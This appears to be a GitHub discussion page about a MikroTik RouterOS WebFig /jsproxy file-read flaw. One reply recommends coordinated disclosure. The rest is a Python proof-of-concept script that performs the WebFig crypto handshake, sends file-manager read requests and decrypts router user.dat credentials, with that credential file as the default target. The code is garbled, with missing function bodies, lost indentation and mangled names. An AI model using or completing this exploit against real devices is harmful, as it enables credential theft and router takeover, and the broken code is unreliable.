Mikrotik Webfig/jsproxy unauthenticated file read #207845
Unanswered
sohel160
asked this question in
Other Feature Feedback, Questions, & Ideas
Replies: 1 comment
|
Hi @sohel160 ,if this is intended as a vulnerability disclosure, I'd avoid posting a full unauthenticated file-read exploit chain publicly before confirming the issue and coordinating disclosure with MikroTik. MikroTik's current security guidance says the September 2026 RouterOS vulnerability was fixed in 7.24.2, 7.23.4, 6.49.21 and 7.25 beta 3, and recommends upgrading affected devices. They also recommend checking the router for unexpected users, scripts, or configuration changes after upgrading. For a responsible disclosure, it would be more useful to provide the affected RouterOS versions, impact, a minimal safe reproduction, and the vendor's tracking/CVE information rather than a ready-to-run credential/file-extraction chain. |
0 replies
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
Uh oh!
There was an error while loading. Please reload this page.
#!/usr/bin/env python3
-- coding: utf-8 --
"""
LAB-ONLY RouterOS 7.x WebFig /jsproxy authenticated file-read PoC.
Verified against master.js from target build 7.21.4:
body = 8 x 0x00 || 32-byte X25519 pubkey (wire order)
body = [sid:4][seq:4][iv:16][AES-128-CTR(m2)]
or {s2d: token}. Any other first frame → HTTP 403.
Authorized lab / pentest use only.
"""
import argparse
import hashlib
import os
import secrets
import struct
import sys
from urllib.parse import urlparse
import requests
from cryptography.hazmat.primitives.asymmetric.x25519 import (
X25519PrivateKey, X25519PublicKey,
)
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.serialization import (
Encoding, PublicFormat,
)
=====================================================================
M2 field type bits
=====================================================================
FT_BOOL = 0 << 27
FT_U32 = 1 << 27
FT_U64 = 2 << 27
FT_ADDR6 = 3 << 27
FT_STRING = 4 << 27
FT_MESSAGE = 5 << 27
FT_RAW = 6 << 27
FT_BOOL_ARRAY = 16 << 27
FT_U32_ARRAY = 17 << 27
FT_U64_ARRAY = 18 << 27
FT_ADDR6_ARRAY = 19 << 27
FT_STRING_ARRAY = 20 << 27
FT_MESSAGE_ARRAY = 21 << 27
FT_RAW_ARRAY = 22 << 27
FS_SHORT = 1 << 24
FS_LONG = 1 << 25
=====================================================================
Protocol constants
=====================================================================
MAGIC_SEND = (b"On the client side, this is the send key; "
b"on the server side, it is the receive key.")
MAGIC_RECV = (b"On the client side, this is the receive key; "
b"on the server side, it is the send key.")
M2 system field ids
V_TO = 0xFF0001
V_FROM = 0xFF0002
V_REPLY = 0xFF0005
V_REQID = 0xFF0006
V_CMD = 0xFF0007
V_ERR = 0xFF0008
V_ERRSTR = 0xFF0009
V_POLICY = 0xFF000B # sysres.policy comes from rep.uff000b (line 2191)
V_TOKEN = 0xFF000D # userdata.s2d — auth token for later reuse
File-manager envelope
ID_FILEMAN = 72
ID_TRANSFER = 1
CMD_OPEN_READ = 3
CMD_READ = 4
CHUNK_SIZE = 4096
fileCache field ids (from master.js)
FM_ID = 0xFE0001
FM_SIZE = 0x00000002
FM_LSIZE = 0x00000065
FM_CHUNK = 0x00000005
FM_LAST = 0x00000006
WebFig UI envelope (benign grooming)
UI_SYS = 2
UI_HANDLER = 2
UI_CMD_CLOSE = 3
user.dat password XOR salt
XOR_SALT = b"283i4jfkai3389"
HTTP_HEADERS = {
"Content-Type": "msg",
"Accept-Language": "",
"Connection": "close",
}
=====================================================================
Helpers
=====================================================================
def sha256_hex(b: bytes) -> str:
return hashlib.sha256(b).hexdigest()
def normalize(raw: str) -> str:
if "://" not in raw:
raw = "http://" + raw
p = urlparse(raw)
port = f":{p.port}" if p.port else ""
return f"{p.scheme or 'http'}://{p.hostname}{port}"
=====================================================================
AES-128-CTR
=====================================================================
class AES128CTR:
KEY_LEN = 16
IV_LEN = 16
=====================================================================
X25519 (WebFig wire order)
=====================================================================
def wf_pub(priv: bytes) -> bytes:
return X25519PrivateKey.from_private_bytes(priv[::-1])
.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)[::-1]
def wf_shared(priv: bytes, spub: bytes) -> bytes:
return X25519PrivateKey.from_private_bytes(priv[::-1])
.exchange(X25519PublicKey.from_public_bytes(spub[::-1]))[::-1]
=====================================================================
KDF — SHA-256(master || 400x00 || magic || 400xf2)[:16]
=====================================================================
def make_key(master: bytes, snd: bool, srv: bool = False) -> bytes:
v = bytearray(master)
v.extend(b"\x00" * 40)
v.extend(MAGIC_RECV if snd == srv else MAGIC_SEND)
v.extend(b"\xf2" * 40)
return hashlib.sha256(bytes(v)).digest()[:AES128CTR.KEY_LEN]
=====================================================================
M2 serializer
=====================================================================
def fid(idtype: int, name: str) -> bytes:
hexpart = name[1:]
if not hexpart:
raise ValueError(f"invalid field name: {name!r}")
x = int(hexpart, 16)
return bytes([
x & 0xFF,
(x >> 8) & 0xFF,
(x >> 16) & 0xFF,
(idtype >> 24) & 0xFF,
])
def u16(v): return struct.pack("<H", v & 0xFFFF)
def u32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def u64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)
def msg2(msg: dict) -> bytes:
o = bytearray(b"M2")
for k, v in msg.items():
if v is None:
continue
if not k:
raise ValueError("empty field key")
p = k[0]
=====================================================================
M2 parser
=====================================================================
def parse_m2_record(d: bytes):
if d[:2] != b"M2":
return None, 0
def parse_m2(d: bytes) -> dict:
r, _ = parse_m2_record(d)
return r if r is not None else {"u32": {}, "u64": {}, "s": {}, "r": {}, "u32a": {}}
=====================================================================
user.dat credential decryption
=====================================================================
def decrypt_user_dat(data: bytes):
creds, i = [], 0
n = len(data)
=====================================================================
Session
=====================================================================
class Sess:
def init(self, sid: int, tx: AES128CTR, rx: AES128CTR):
self.sid = sid
self.tx = tx
self.rx = rx
# master.js line 54: this.txseq = 1
self.seq = 1
self.authenticated = False
self.policy = 0
self.token = None
=====================================================================
M2 builders
=====================================================================
def m2_auth(user: str, pwd: str) -> bytes:
"""First encrypted frame after handshake. MUST be sent before anything else."""
return msg2({"s1": user, "s3": pwd})
def m2_auth_token(token: str) -> bytes:
"""Alternative first frame if you have a cached token (userdata.s2d)."""
return msg2({"s2d": token})
def m2_file_open(path: str, reqid: int = 1) -> bytes:
return msg2({
f"U{V_TO:x}": [ID_FILEMAN, ID_TRANSFER],
f"u{V_CMD:x}": CMD_OPEN_READ,
f"u{V_REQID:x}": reqid,
f"b{V_REPLY:x}": True,
"s1": path,
})
def m2_file_read(trans_id: int, reqid: int, size: int = CHUNK_SIZE) -> bytes:
return msg2({
f"U{V_TO:x}": [ID_FILEMAN, ID_TRANSFER],
f"u{V_CMD:x}": CMD_READ,
f"u{V_REQID:x}": reqid,
f"b{V_REPLY:x}": True,
f"u{FM_ID:x}": trans_id,
"u2": size,
})
def m2_ui_close(reqid: int) -> bytes:
return msg2({
f"U{V_TO:x}": [UI_SYS, UI_HANDLER],
f"u{V_CMD:x}": UI_CMD_CLOSE,
f"u{V_REQID:x}": reqid,
f"b{V_REPLY:x}": True,
})
=====================================================================
Client
=====================================================================
class Client:
def init(self, base: str, timeout: float = 10.0, verbose: bool = False):
self.base = base.rstrip("/")
self.t = timeout
self.v = verbose
self.h = requests.Session()
self.results = []
=====================================================================
Main
=====================================================================
def main():
ap = argparse.ArgumentParser(
description="LAB-ONLY RouterOS 7.x WebFig authenticated file-read"
)
ap.add_argument("target")
ap.add_argument("--user", required=True,
help="WebFig username (e.g. admin)")
ap.add_argument("--password", default="",
help="WebFig password (default empty)")
ap.add_argument("--token", default=None,
help="optional s2d auth token; skips user/password")
ap.add_argument("--test-file", default="./lab-test.txt")
ap.add_argument("--cred-file", default="/flash/rw/store/user.dat")
ap.add_argument("--groom", type=int, default=12)
ap.add_argument("--verbose", action="store_true")
args = ap.parse_args()
if name == "main":
main()
All reactions